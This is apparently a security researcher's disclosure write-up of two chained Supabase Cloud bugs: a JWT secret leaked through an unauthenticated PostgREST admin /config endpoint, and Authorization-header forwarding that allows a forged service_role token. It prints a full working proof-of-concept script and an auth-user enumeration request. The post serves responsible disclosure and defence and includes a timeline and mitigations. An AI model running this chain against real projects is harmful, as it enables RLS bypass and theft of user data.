Back

Forging service_role From an Anon Key: Chaining Two Supabase Bugs Into a CVSS 10.0 RLS Bypass

14 min read
supabase postgrest jwt rls-bypass security-research vulnerability-disclosure supascan

In January 2026, while working on supascan (an open-source security scanner for Supabase), I found two vulnerabilities in the Supabase Cloud platform that chain together to escalate a public anon key into service_role access on affected projects. The first bug leaks the JWT signing secret through an unauthenticated admin endpoint. The second exploits a header forwarding gap between the API gateway and PostgREST to use a forged token. Combined, they allow full RLS bypass on projects running older PostgREST versions that hadn’t been upgraded.

This affected a subset of Supabase Cloud customers, specifically those on older deployments where the PostgREST /config endpoint was still exposed. Newer projects and self-hosted instances were not vulnerable. Supabase responded quickly, deploying a network-level block within 48 hours and completing a full patch shortly after. The report was closed as resolved on February 6, 2026.

See also: Three Ways to Introspect a Supabase Database Schema, which covers how supascan discovers tables and RPC functions.

Background

Supabase routes API traffic through an API gateway that validates the apikey header, determines the caller’s role, and proxies the request to the appropriate backend. PostgREST handles database queries, GoTrue handles auth, and so on.

A note on the gateway: the open-source self-hosted Supabase uses Kong as its API gateway. The hosted Supabase Cloud platform uses a different gateway (based on Cloudflare Workers). When I initially reported this vulnerability, I assumed the hosted platform also used Kong, since the route definitions I found came from the Supabase CLI’s Kong configuration template. Supabase later clarified that the hosted platform does not use Kong, though the same /rest-admin/v1/ route existed in their production gateway with the same missing authentication. The exploit works the same way regardless of the specific gateway software.

Every Supabase project has two keys:

  • anon key: public, shipped in the frontend. Maps to the anon Postgres role. RLS policies restrict what it can access.
  • service_role key: secret, server-side only. Bypasses RLS entirely.

Both keys are JWTs signed with a shared secret. The security model depends on two things:

  1. The JWT signing secret stays internal.
  2. The gateway controls which role a request acts as.

Both of these turned out to be breakable on affected deployments.

How I Got Here: Schema Introspection Research

I was building supascan to audit Supabase projects for misconfigurations (exposed data, weak RLS policies, etc.). For that, supascan needs to discover what tables and columns exist. Supabase doesn’t have a dedicated public schema introspection API, so I was reading through PostgREST source code and the Supabase gateway configuration to understand what endpoints were available.

While going through the route definitions in the Supabase CLI’s Kong template, I found /rest-admin/v1/, a route that proxies to PostgREST’s admin server on port 3001. The admin server exposes several endpoints, including /schema_cache, which returns the full schema cache as JSON. This was useful for supascan, and I implemented a schema introspection method using it.

But the admin server had other endpoints too.

Finding the /config Endpoint

While exploring /rest-admin/v1/ further, I was working with Claude on the PostgREST codebase and it mentioned a /config endpoint on the admin server. I went to check the source.

Here’s the admin handler from src/PostgREST/Admin.hs (v12.2.11, before the fix):

admin :: AppState.AppState -> Wai.Application
admin appState req respond = do
-- ...
case Wai.pathInfo req of
["live"] ->
respond $ Wai.responseLBS (if isMainAppReachable then HTTP.status200 else HTTP.status500) [] mempty
["ready"] ->
-- readiness check ...
["config"] -> do
config <- AppState.getConfig appState
respond $ Wai.responseLBS HTTP.status200 []
(LBS.fromStrict $ encodeUtf8 $ Config.toText config)
["schema_cache"] -> do
sCache <- AppState.getSchemaCache appState
respond $ Wai.responseLBS HTTP.status200 [] (maybe mempty JSON.encode sCache)
-- ...

The /config handler calls Config.toText config and returns the full PostgREST configuration as plain text. No authentication, no authorization. If you can reach the admin port, you get everything.

Here’s what the response looks like:

db-anon-role = "anon"
db-extra-search-path = "public"
db-max-rows = ""
db-pool = 10
db-schemas = "public"
db-uri = "postgres://authenticator:password@db:5432/postgres"
jwt-aud = ""
jwt-role-claim-key = ".\"role\""
jwt-secret = "{\"keys\":[{\"kty\":\"oct\",\"k\":\"cBVqb-3Qui6DDodkcuhoLn...\",\"kid\":\"demo-key-001\"}]}"
jwt-secret-is-base64 = false
log-level = "error"
openapi-mode = "follow-privileges"
server-host = "!4"
server-port = 3000
admin-server-port = 3001

The jwt-secret line contains the full JWK used to sign and verify all tokens. The db-uri contains database credentials. Everything is in plain text.

When I checked the current PostgREST source on GitHub, this endpoint had already been gated. Commit 1f28efa introduced admin-server-config-enabled, defaulting to false. On current versions, /config returns 404 unless explicitly enabled.

I assumed this meant the endpoint was no longer accessible. But when I tested it against my own Supabase Cloud project (one I’d been using for over a year), it returned 200 with the full config.

r = requests.get(
f"{URL}/rest-admin/v1/config",
headers={"apikey": ANON_KEY}
)
# Status: 200
# jwt-secret = {"keys":[{"kty":"oct","k":"<base64-secret>","kid":"..."}]}

A fresh Supabase project returned 404. The fix was deployed on newer PostgREST versions, but older projects (those created before the fix that hadn’t gone through a major database version upgrade) were still running the vulnerable version.

Why the Admin Endpoint Was Reachable

PostgREST’s admin server runs on port 3001, separate from the main API on port 3000. It should be internal. But Supabase’s gateway configuration proxied it to the public internet at /rest-admin/v1/.

I initially found this route in the Supabase CLI’s Kong configuration template (internal/start/templates/kong.yml):

- name: rest-admin-v1
_comment: "PostgREST: /rest-admin/v1/* -> http://rest:3001/*"
url: http://{{ .RestId }}:3001/
routes:
- name: rest-admin-v1-all
strip_path: true
paths:
- /rest-admin/v1/
plugins:
- name: cors
# TODO: validate apikey

The # TODO: validate apikey comment tells the story. The main API route (rest-v1) has proper authentication plugins. The admin route has only CORS, with no API key validation.

I assumed this same Kong config was used on the hosted platform. Supabase later clarified that their Cloud platform uses a custom API gateway built on Cloudflare Workers, not Kong. However, the equivalent route existed in their production gateway with the same lack of authentication on the admin path. The self-hosted Docker Kong config (docker/volumes/api/kong.yml) does not define a rest-admin route at all, which is why self-hosted instances were not affected.

Validating Scope

To get a sense of how widespread this was, I tested against a project I knew was on an older deployment. Supabase’s own website uses Supabase, and their anon key and project URL are in their frontend JavaScript bundle (which is expected, since anon keys are designed to be public).

I tested /rest-admin/v1/config against Supabase’s own project. It returned the full configuration, including the JWT signing secret.

The Failed First Attempt

With the JWT secret, forging a service_role token is straightforward:

from jose import jwt
import base64, json, time
jwk = json.loads(jwt_secret_str)["keys"][0]
secret_key = base64.urlsafe_b64decode(jwk["k"] + "==")
forged_jwt = jwt.encode(
{
"role": "service_role",
"iss": "supabase",
"iat": int(time.time()),
"exp": int(time.time()) + 3600,
},
secret_key,
algorithm="HS256",
headers={"kid": jwk["kid"]}
)

I had a cryptographically valid JWT with "role": "service_role". But using it as the apikey header didn’t work. The gateway rejected it.

This makes sense once you understand how API key validation works. Taking Kong’s key-auth plugin as an example (since the open-source code is available), the validation is a static credential lookup, not JWT validation.

From kong/plugins/key-auth/handler.lua:

local function do_authentication(conf)
local headers = kong.request.get_headers()
local key
-- Searches ONLY the configured key_names (default: ["apikey"])
for _, name in ipairs(conf.key_names) do
local v
if conf.key_in_header then
v = headers[name]
end
if type(v) == "string" then
key = v
break
end
end
-- Looks up the key in the credential store, exact string match
local credential_cache_key = kong.db.keyauth_credentials:cache_key(key)
local credential, err = cache:get(credential_cache_key, { resurrect_ttl = 0.001 },
load_credential, key)

Where load_credential is just a database query:

local function load_credential(key)
local cred, err = kong.db.keyauth_credentials:select_by_key(key)
return cred
end

The gateway treats API keys as opaque strings. It doesn’t decode JWTs. It checks if the exact string exists in its credential store. The registered anon and service_role keys happen to be JWTs, but the gateway doesn’t know or care about that. My forged JWT wasn’t registered, so it was rejected.

Supabase’s production gateway (Cloudflare Workers) behaves similarly. The apikey header is validated against registered keys. A forged JWT with the right claims but an unregistered key string won’t pass.

At this point I had a valid service_role JWT that PostgREST would accept, but no way to get it past the gateway.

Two Headers, Two Systems

The forged JWT was valid for PostgREST but not for the gateway. The anon key was valid for the gateway but mapped to the wrong role in PostgREST. The question was whether I could satisfy both at the same time.

The gateway and PostgREST authenticate requests using different headers. The gateway reads apikey. PostgREST reads Authorization: Bearer. These are independent authentication mechanisms operating on different parts of the same HTTP request.

The gateway only inspects the apikey header (or whatever key names are configured). It does not read, validate, or strip the Authorization header. Whatever you put in Authorization gets forwarded to PostgREST as-is.

PostgREST reads Authorization: Bearer to extract the JWT for role resolution. From src/PostgREST/Auth.hs:

middleware :: AppState -> Wai.Middleware
middleware appState app req respond = do
conf <- getConfig appState
time <- getTime appState
let token = Wai.extractBearerAuth
=<< lookup HTTP.hAuthorization (Wai.requestHeaders req)
let parseJwt = runExceptT $
lookupJwtCache jwtCacheState token >>= parseClaims conf time
-- ...

And the role extraction from src/PostgREST/Auth/Jwt.hs:

parseClaims :: AppConfig -> UTCTime -> JSON.Object -> m AuthResult
parseClaims AppConfig{configJwtRoleClaimKey, configDbAnonRole} time mclaims = do
validateClaims time mclaims
role <- liftEither . maybeToRight (JwtErr JwtTokenRequired) $
unquoted <$> walkJSPath (Just $ JSON.Object mclaims) configJwtRoleClaimKey
<|> configDbAnonRole
pure AuthResult { authClaims = mclaims, authRole = role }

PostgREST validates the JWT signature (which passes, since we used the real secret) and reads "role": "service_role" from the claims.

So the request that chains it:

r = requests.get(
f"{URL}/rest/v1/secrets?select=*",
headers={
"apikey": ANON_KEY, # Gateway validates this
"Authorization": f"Bearer {forged_jwt}", # PostgREST uses this
},
)
  1. The gateway sees the apikey header, validates it against registered keys, finds the anon key, and lets the request through.
  2. The gateway forwards the full request to PostgREST, including the Authorization header it never inspected.
  3. PostgREST reads Authorization: Bearer, extracts the JWT, validates the signature, and sets the session role to service_role.

The gateway thinks the caller is anon. PostgREST thinks the caller is service_role. PostgREST executes the query. RLS is bypassed.

The Full Chain

The complete exploit, from anon key to service_role access, in three HTTP requests:

#!/usr/bin/env python3
import requests, base64, json, time
from jose import jwt
URL = "https://<project>.supabase.co"
APIKEY = "<anon-key>" # Public key from the frontend bundle
# Step 1: Leak the JWT secret via the unauthenticated admin endpoint
r = requests.get(f"{URL}/rest-admin/v1/config", headers={"apikey": APIKEY})
jwk = json.loads(
r.text.split("jwt-secret = ")[1].split("\n")[0]
.strip('"').replace('\\"', '"')
)["keys"][0]
secret = base64.urlsafe_b64decode(jwk["k"] + "==")
# Step 2: Forge a service_role JWT
forged = jwt.encode(
{
"role": "service_role",
"iss": "supabase",
"iat": int(time.time()),
"exp": int(time.time()) + 3600,
},
secret,
algorithm="HS256",
headers={"kid": jwk["kid"]},
)
# Step 3: Send both headers
r = requests.get(
f"{URL}/rest/v1/<any_table>?select=*",
headers={
"apikey": APIKEY,
"Authorization": f"Bearer {forged}",
},
)
print(r.json())

Impact

With service_role access on an affected project, an attacker could:

  • Read any table regardless of RLS policies
  • List all auth users via /auth/v1/admin/users
  • Read the OpenAPI spec even on projects using publishable keys that normally block it
  • Write, update, or delete anything PostgREST can touch
  • Access storage buckets with elevated permissions

I verified this against a Supabase Cloud project with the owner’s explicit permission. RLS was enabled on all tables, and the anon key couldn’t normally access anything:

Terminal window
$ python3 poc.py
Leaked secret: 88 bytes
JWT: eyJhbGciOiJIUzI1NiIsImtpZCI6IjJNUlZvOCtTOXlCWHk2TXUiLCJ0eXAi...
Status: 200

The auth admin endpoint was also accessible through the same dual-header approach:

r = requests.get(
f"{URL}/auth/v1/admin/users?page=1&per_page=3",
headers={"apikey": APIKEY, "Authorization": f"Bearer {forged_jwt}"},
)

The Disagree Problem

Neither bug is critical on its own. An unauthenticated config endpoint is bad, but limited if the leaked secret can’t be weaponized. A header forwarding gap is subtle, but harmless without a forged token. The chain is what makes it severe.

The underlying issue is a disagreement between two components about what “authenticated” means. The gateway checks the API key and decides if the request is allowed. PostgREST reads the JWT and decides what role to use. Two systems, two different ideas about which header is authoritative.

When they agree, everything works. When they disagree, the more permissive interpretation wins.

Affected Scope

CVSS: 10.0 on affected projects. Network-accessible, no authentication beyond public keys, complete confidentiality and integrity impact.

Affected:

  • Supabase Cloud projects on older deployments where the PostgREST /config endpoint was still exposed. These were projects created before the PostgREST fix that hadn’t gone through a major database version upgrade.
  • Long-standing customers were disproportionately impacted, since newer projects shipped with the patched PostgREST version.

Not affected:

  • Projects on newer Supabase deployments where /config was already disabled.
  • Self-hosted Supabase instances. The open-source Docker Kong config does not expose the rest-admin route. The vulnerable route existed in the Supabase CLI template (for local development) and in the hosted platform’s Cloudflare Workers gateway.

The header forwarding behavior exists regardless of version, but it’s only exploitable if the JWT secret can be obtained through the first bug or other means.

Root Cause

Two independent issues:

  1. Missing authentication on the rest-admin route. The gateway configuration for /rest-admin/v1/ had no authentication. Any valid API key (including the public anon key) could reach PostgREST’s admin endpoints, and /config returned the JWT signing secret in plain text.

  2. The gateway forwards the Authorization header without inspection. When a request includes both apikey and Authorization headers, the gateway validates the API key but passes Authorization through to PostgREST unchanged. PostgREST uses Authorization: Bearer for role resolution, creating a privilege escalation that bypasses the gateway’s access control.

I suggested three mitigations in my report:

  1. Block /config immediately with a WAF or network-level rule. Supabase deployed this within 48 hours.
  2. Add authentication to rest-admin routes. The missing auth needs to become actual enforcement.
  3. Prevent header confusion. Either reject requests with both apikey and Authorization, or strip one before forwarding.

Supabase completed all corrective actions on the hosted platform. JWT keys are also being deprecated in favor of newer authentication mechanisms.

Timeline

DateEvent
January 16, 2026Discovered and reported to Supabase via HackerOne
January 16, 2026Submitted additional PoCs (auth user enumeration, Supabase’s own project)
January 18, 2026Triaged by Supabase security team
January 18, 2026Network-level block deployed on /config
January 26, 2026Followed up on patch progress; flagged potential impact on third-party vendors hosting Supabase
January 29, 2026Supabase clarified: hosted platform does not use Kong; self-hosted instances not vulnerable
~Late January 2026Full patch rolled out to affected hosted projects
February 6, 2026Report closed as resolved

If you have questions or want to discuss, feel free to reach out.

Related